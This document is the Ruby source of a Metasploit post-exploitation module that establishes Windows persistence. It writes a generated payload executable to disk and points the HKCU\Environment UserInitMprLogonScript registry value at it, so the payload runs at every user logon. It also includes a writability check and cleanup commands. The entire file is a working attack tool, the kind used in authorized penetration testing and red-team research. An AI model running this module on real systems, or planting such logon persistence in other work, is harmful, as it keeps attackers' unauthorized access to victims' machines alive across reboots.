##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::Windows::Registry
  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::Local::Persistence
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Persistence via UserInitMprLogonScript',
        'Description' => %q{
          This module establishes persistence by setting the UserInitMprLogonScript
          value in HKCU\Environment. During user logon, userinit.exe checks this value
          and executes the specified command or binary.

          The module writes a payload executable to disk and points
          UserInitMprLogonScript to that payload.
        },
        'License' => MSF_LICENSE,
        'Author' => ['Nayera'],
        'Platform' => [ 'win' ],
        'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64],
        'SessionTypes' => [ 'meterpreter', 'shell' ],
        'Targets' => [
          [ 'Automatic', {} ]
        ],
        'References' => [
          ['ATT&CK', Mitre::Attack::Technique::T1547_001_REGISTRY_RUN_KEYS_STARTUP_FOLDER],
          ['ATT&CK', Mitre::Attack::Technique::T1112_MODIFY_REGISTRY],
          ['URL', 'https://hadess.io/the-art-of-windows-persistence/']
        ],
        'DefaultTarget' => 0,
        'DisclosureDate' => '2015-07-01',
        'Notes' => {
          'Reliability' => [EVENT_DEPENDENT, REPEATABLE_SESSION],
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('PAYLOAD_NAME', [false, 'Name of payload file to write. Random string as default.'])
    ])
  end

  def regkey
    'HKCU\\Environment'
  end

  def check
    print_warning('Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.') if datastore['WritableDir'].start_with?('%TEMP%')

    return CheckCode::Safe("#{writable_dir} does not exist") unless exists?(writable_dir)

    test_name = Rex::Text.rand_text_alpha(8)
    test_value = Rex::Text.rand_text_alpha(8)
    return CheckCode::Safe("Unable to write to registry path #{regkey}") unless registry_setvaldata(regkey, test_name, test_value, 'REG_SZ')

    registry_deleteval(regkey, test_name)

    CheckCode::Vulnerable('Registry path is writable')
  end

  def install_persistence
    payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha(rand(6..13))
    payload_exe = generate_payload_exe
    payload_pathname = "#{writable_dir}\\#{payload_name}.exe"

    vprint_good("Writing payload to #{payload_pathname}")
    fail_with(Failure::UnexpectedReply, "Error writing payload to: #{payload_pathname}") unless write_file(payload_pathname, payload_exe)

    old_value = registry_getvaldata(regkey, 'UserInitMprLogonScript')
    registry_setvaldata(regkey, 'UserInitMprLogonScript', payload_pathname, 'REG_SZ')
    print_good("Configured #{regkey}\\UserInitMprLogonScript to execute #{payload_pathname}")

    if old_value.nil?
      @clean_up_rc = "reg deleteval -k '#{regkey}' -v 'UserInitMprLogonScript'\n"
    else
      escaped_old_value = old_value.gsub('\\', '\\\\')
      @clean_up_rc = %(execute -f cmd.exe -a "/c reg add \\\"#{regkey}\\\" /v UserInitMprLogonScript /t REG_SZ /d \\\"#{escaped_old_value}\\\" /f" -H\n)
    end
    @clean_up_rc << "rm \"#{payload_pathname.gsub('\\', '/')}\"\n"
  end
end
